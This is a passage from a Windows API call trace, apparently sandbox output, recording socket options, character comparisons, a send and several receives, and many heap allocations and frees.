(s=0x12c, level=65535, optname=4102, optval="0u", optlen=4) returned 0 [0119.640] setsockopt (s=0x12c, level=65535, optname=4101, optval="0u", optlen=4) returned 0 [0119.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0119.641] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1dc) returned 0x2d48998 [0119.641] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2d24e80 [0119.641] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d25410 [0119.641] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a600 [0119.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa90 | out: lpSystemTimeAsFileTime=0x18fa90*(dwLowDateTime=0x98377aa0, dwHighDateTime=0x1d60051)) [0119.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa28 | out: lpSystemTimeAsFileTime=0x18fa28*(dwLowDateTime=0x98377aa0, dwHighDateTime=0x1d60051)) [0119.642] WSASetLastError (iError=0) [0119.642] send (s=0x12c, buf=0x2d3b470*, len=329, flags=0) returned 329 [0119.642] WSASetLastError (iError=0) [0119.642] recv (in: s=0x12c, buf=0x2d518f8, len=7, flags=0 | out: buf=0x2d518f8*) returned 7 [0119.666] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d365a8 [0119.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa40 | out: lpSystemTimeAsFileTime=0x18fa40*(dwLowDateTime=0x983c3d60, dwHighDateTime=0x1d60051)) [0119.666] WSASetLastError (iError=0) [0119.666] recv (in: s=0x12c, buf=0x2d51902, len=61, flags=0 | out: buf=0x2d51902*) returned 61 [0119.666] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1) returned 0x2d4abc8 [0119.666] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d34f78 [0119.666] SetLastError (dwErrCode=0x0) [0119.666] WSASetLastError (iError=0) [0119.666] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.666] SetLastError (dwErrCode=0x0) [0119.667] WSASetLastError (iError=0) [0119.667] recv (in: s=0x12c, buf=0x2d51900, len=2201, flags=0 | out: buf=0x2d51900*) returned 2201 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd7c) returned 0x2d581f0 [0119.667] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d50ef8 | out: hHeap=0x2a0000) returned 1 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361e8 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35938 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2d58f78 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2d56300 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35b78 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4acb8 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35728 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35278 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4acd8 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fa8 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35998 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36148 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362e8 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f00 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d352f0 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35170 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab68 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35878 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4aae8 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35848 [0119.667] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35470, Size=0x20) returned 0x2d4a8d0 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36268 [0119.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35470 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35800 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35020 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36328 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac58 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363e8 [0119.668] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35278 | out: hHeap=0x2a0000) returned 1 [0119.668] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35728 | out: hHeap=0x2a0000) returned 1 [0119.668] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36068 | out: hHeap=0x2a0000) returned 1 [0119.668] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360a8 | out: hHeap=0x2a0000) returned 1 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35728 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35278 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d48b80 [0119.668] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35728, Size=0x20) returned 0x2d4a358 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35728 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fa8 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35368 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35638 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d357a0 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36248 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab98 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aba8 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36168 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d358c0 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f90 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34df8 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36408 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac68 [0119.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36188 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356e0 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36308 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4abb8 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35248 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36448 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fd8 [0119.669] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35728, Size=0x20) returned 0x2d4a268 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35728 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363a8 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4abe8 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d35cc8 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361a8 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35668 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ff0 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35008 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36368 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac08 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35ee8 [0119.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6f) returned 0x2d28e10 [0119.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aba8 | out: hHeap=0x2a0000) returned 1 [0119.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d357a0 | out: hHeap=0x2a0000) returned 1 [0119.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab98 | out: hHeap=0x2a0000) returned 1 [0119.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36248 | out: hHeap=0x2a0000) returned 1 [0119.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35638 | out: hHeap=0x2a0000) returned 1 [0119.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35368 | out: hHeap=0x2a0000) returned 1 [0119.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fa8 | out: hHeap=0x2a0000) returned 1 [0119.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac68 | out: hHeap=0x2a0000) returned 1 [0119.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34df8 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab48 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36408 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f90 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d358c0 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36168 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35248 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d356e0 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4abb8 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36308 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35188 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35140 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36188 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35cc8 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35218 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4abe8 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35728 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fd8 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ee8 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35008 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac08 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36368 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34ff0 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35668 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361a8 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a268 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35110 | out: hHeap=0x2a0000) returned 1 [0119.670] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f68 | out: hHeap=0x2a0000) returned 1 [0119.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354d0 | out: hHeap=0x2a0000) returned 1 [0119.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36428 | out: hHeap=0x2a0000) returned 1 [0119.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35428 | out: hHeap=0x2a0000) returned 1 [0119.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0119.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351a0 | out: hHeap=0x2a0000) returned 1 [0119.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0119.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35470 | out: hHeap=0x2a0000) returned 1 [0119.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36268 | out: hHeap=0x2a0000) returned 1 [0119.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a8d0 | out: hHeap=0x2a0000) returned 1 [0119.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35c88 | out: hHeap=0x2a0000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35470 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d351a0 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35c88 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35428 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36268 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354d0 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35668 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361c8 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac08 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4abe8 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36108 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ff0 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35008 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fd8 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36428 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4abb8 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f68 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35728 [0119.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36008 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac68 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35188 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361a8 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356e0 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d358c0 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36368 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab98 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d35ee8 [0119.672] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35428, Size=0x20) returned 0x2d4a8d0 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36448 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35428 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f90 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34df8 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363a8 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aba8 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d35cc8 [0119.672] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352f0 | out: hHeap=0x2a0000) returned 1 [0119.672] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f00 | out: hHeap=0x2a0000) returned 1 [0119.672] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362e8 | out: hHeap=0x2a0000) returned 1 [0119.672] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36148 | out: hHeap=0x2a0000) returned 1 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36148 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362e8 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f00 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d352f0 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d4a0a0 [0119.672] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f00, Size=0x20) returned 0x2d4a268 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36188 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f00 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36308 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35368 [0119.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35638 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d357a0 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36168 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac38 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab58 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36408 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354a0 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35578 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35740 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fa8 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad68 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac48 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36248 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d353c8 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35b00 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d352c0 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36088 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab08 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35590 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362a8 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35788 [0119.673] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f00, Size=0x20) returned 0x2d4a4c0 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f00 [0119.673] RtlAllocateHeap 